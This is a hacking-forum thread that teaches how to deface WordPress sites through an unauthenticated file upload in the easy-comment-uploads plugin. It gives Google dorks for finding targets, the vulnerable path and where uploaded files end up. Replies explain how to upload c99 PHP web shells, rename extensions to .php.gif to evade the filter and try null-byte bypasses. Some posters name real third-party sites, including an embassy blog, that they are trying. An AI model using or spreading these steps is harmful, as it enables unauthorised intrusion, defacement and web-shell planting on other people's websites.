

Forum: [Hack Forums](#)

Thread: [\[Deface\] Wordpress Exploit : Thousands Wordpress sites vulnerable. \[Deface\]](#)

Isaac Newton - March 25, 2012, 1:00 pm

Some of you might already know this, here's it for those who don't.

What this does-- Upload your deface on a vulnerable WP site.

Things you need--

1. Internet.
2. A browser.
3. Your deface.

Step 1

We gonna use a google dork for this.

Use any of the below (Search in google)-

Code inurl:/wp-content/plugins/easy-comment-uploads/upload-form.phpCode Index of /wp-content/plugins/easy-comment-uploads

Now we've got many sites. Remember this won't work on all.

Step 2

Open a site and put this code-

Code site.com/wp-content/plugins/easy-comment-uploads/upload-form.php

Here site.com is the website we've opened.

Step 3

Once done the above, you'll get an upload option.

Use it to upload your file (deface).

Step 4

You can see your deface at-

Code site.com/wp-content/uploads/2012/03/yourfilehere

Replace "yourfilehere" with your file name.

Example--<http://pickoflitter.com/wp-content/uploads/2012/03/nwtn.jpg>

Cyba - March 25, 2012, 1:01 pm

Very nice tutorial, keep it up my friend! ;)

Mr Storm - March 25, 2012, 2:14 pm

Nice tutorial! I didn't know this google dork.

Thank you!

niian - March 25, 2012, 3:40 pm

Sneaky :), took me a while to realize the point

Yomama - March 25, 2012, 3:52 pm

I am able to find the website, but cannot get to the upload form. Please help me OP.

Look, here is the site:

<http://www.icademic.org/results/site.com/wp-content/plugins/easy-comment-uploads/upload-form.php>
[=http://free.7host05.com/!tim](http://free.7host05.com/!tim)

Vlad1k - March 25, 2012, 4:01 pm

Can you upload shells like .PHP with this exploit? Thanks. :)

Anubis - March 25, 2012, 4:15 pm

(Mar 25, 2012 03:52 PM)Yomama Wrote: [\[CITE\]](#) I am able to find the website, but cannot get to the upload form. Please help me OP.

Look, here is the site:

<http://www.icademic.org/results/site.com/wp-content/plugins/easy-comment-uploads/upload-form.php>
[=http://free.7host05.com/!tim](http://free.7host05.com/!tim)

That is not a wordpress website -."

Those are search results. (Mar 25, 2012 04:01 PM)Vlad1k Wrote: [\[CITE\]](#) Can you upload shells like .PHP with this exploit? Thanks. :)

Here are the shells.

Guys usually use c99.

If you get an error. Try changing the extension to gif.

For example. c99.php to c99.php.gif and than try to upload again.

?H? Re??eR - March 25, 2012, 10:59 pm

Great tutorial, thanks. Its very useful :D

Mario - March 25, 2012, 11:15 pm

This is not defacing lol..? Its just uploading a deface page

hackerz1988 - March 26, 2012, 8:40 am

nice tutorial ..but how to delete uploaded pic?? working perfectly fine for me..thnks buddy

Isaac Newton - March 27, 2012, 7:13 am

(Mar 25, 2012 03:52 PM)Yomama Wrote: [\[CITE\]](#) I am able to find the website, but cannot get to the upload form. Please help me OP.

Look, here is the site:

<http://www.icademic.org/results/site.com/wp-content/plugins/easy-comment-uploads/upload-form.php>

[=http://free.7host05.com/!tim](http://free.7host05.com/!tim)

It won't work for all sites as I said. You've to find the correct one which has an upload button on the stated page.

Sw1x - March 27, 2012, 7:31 am

Thanks for this, very useful. :) I like this.

??? - March 27, 2012, 7:52 am

I can't upload shells, as I get the "Sorry, you can only upload images."

I tried using nullbytes %00.jpg, doesn't work.

Malboronaldo - March 27, 2012, 8:12 am

very interereting ! testing now ;) thank for that...

YeOldBlueBird - March 28, 2012, 2:13 pm

<http://blogs.ottawa.usembassy.gov/cultural/wp-content/plugins/easy-comment-uploads/upload-form.php>

Am I doing it right?

?unx - March 28, 2012, 2:38 pm

Nice tutorial there. Just tried and worked.

CyberSyringe - March 28, 2012, 2:54 pm

(Mar 28, 2012 02:13 PM)YeOldBlueBird Wrote: [\[CITE\]](#)

<http://blogs.ottawa.usembassy.gov/cultural/wp-content/plugins/easy-comment-uploads/upload-form.php>

Am I doing it right?

That means the easy comment uploads plugin does not exist on that website. It is not vulnerable to this arbitrary file upload exploit.

YeOldBlueBird - March 28, 2012, 2:56 pm

(Mar 28, 2012 02:54 PM)friedtaco Wrote: [\[CITE\]](#) That means the easy comment uploads plugin does not exist on that website. It is not vulnerable to this arbitrary file upload exploit.

<http://blogs.ottawa.usembassy.gov/cultural/wp-content/plugins/easy-comment-uploads/upload-form.asp>

this is a 404 page, the other is not. this exploit will work somehow

dnEehT - March 28, 2012, 3:09 pm

Where's the credits? <https://hackforums.net/printthread.php?tid=1932707>

???

?Victory - March 28, 2012, 3:55 pm

Wow 7500 websites ! thought i didnt know that dork before good job dude ^^

NoYou121 - March 28, 2012, 5:53 pm

this is just uploading a deface page, not actually defacing the front page...

acer2011 - March 29, 2012, 1:59 am

Thanks! :D (Stupid 35 characters...)

Cubee - March 29, 2012, 2:01 am

It's a great tutorial you made here my friend.

Isaac Newton - March 29, 2012, 4:22 am

(Mar 28, 2012 03:09 PM) Calculator Wrote: [\[CITE\]](#) Where's the credits?

<https://hackforums.net/printthread.php?tid=1932707>

???

You know when to give credits?

When you've actually copied the tutorial from somewhere.

This what I've written here is not copied from anywhere. It just tells how the exploit works (and written by myself). Credits will be to the person who has discovered the exploit. Let me know his name and I'll be happy to give credits. Till then, I can give you almost 50 articles on this exploit.

viralhysteria - March 29, 2012, 9:29 am

Or, an easier dork would be

Code inurl:/wp-content/plugins/easy-comment-uploads/ intext:Select File:
major plugin fail.

Ragd0lll - March 29, 2012, 1:53 pm

Hehe that was pretty fun :P i wish i couldve properly defaced it though

techme1 - November 18, 2014, 3:18 am

that's really works is this possible i can try this dork on specific website

ThatHackDude - December 27, 2014, 9:22 am

This doesn't change anything to the site, does it? I think it'll only make a page which nobody will ever see. Didn't try it though, correct me if I'm wrong.

n1v4 - December 27, 2014, 10:29 am

nice tutorial thanks for sharing...

Cksmith - July 17, 2016, 11:33 pm

(Mar 25, 2012 01:00 PM) Isaac Newton Wrote: [\[CITE\]](#) Some of you might already know this, here's it for those who don't.

What this does-- Upload your deface on a vulnerable WP site.

Things you need--

1. Internet.
2. A browser.
3. Your deface.

Step 1

We gonna use a google dork for this.

Use any of the below (Search in google)-

Code inurl:/wp-content/plugins/easy-comment-uploads/upload-form.phpCode Index of

/wp-content/plugins/easy-comment-uploads

Now we've got many sites. Remember this won't work on all.

Step 2

Step 3

Once done the above, you'll get an upload option.

Use it to upload your file (deface).

Step 4

Can you PM me your skype

vlajke - July 18, 2016, 3:01 am

(Jul 17, 2016 11:33 PM)Cksmith Wrote: [\[CITE\]](#) Can you PM me your skype

You do realize it's been more than 4 years since that post, right?

basicworth - July 20, 2016, 3:00 am

(Mar 28, 2012 03:55 PM)?Victory Wrote: [\[CITE\]](#) Wow 7500 websites ! thought i didnt know that dork before good job dude ^^

Can you please explain how you got the dock and how i could also use it, or if you can give me a shell file

jonasse - May 10, 2020, 11:04 am

(Jul 20, 2016 03:00 AM)basicworth Wrote: [\[CITE\]](#) Can you please explain how you got the dock and how i could also use it, or if you can give me a shell file

Travel 4 years back in time and execute the code ;)

You need new exploits, check wpscan.com and google the options cause that plugin already updated 20 times.

Khaledpp - April 9, 2024, 4:24 pm

thank you :) ..think for all .?"

HofmanID11 - May 21, 2024, 4:22 am

Thank you so much, bro!

cyberaquila - May 21, 2024, 4:54 am

such a juicy information, Thanks for sharing
you did a great job !!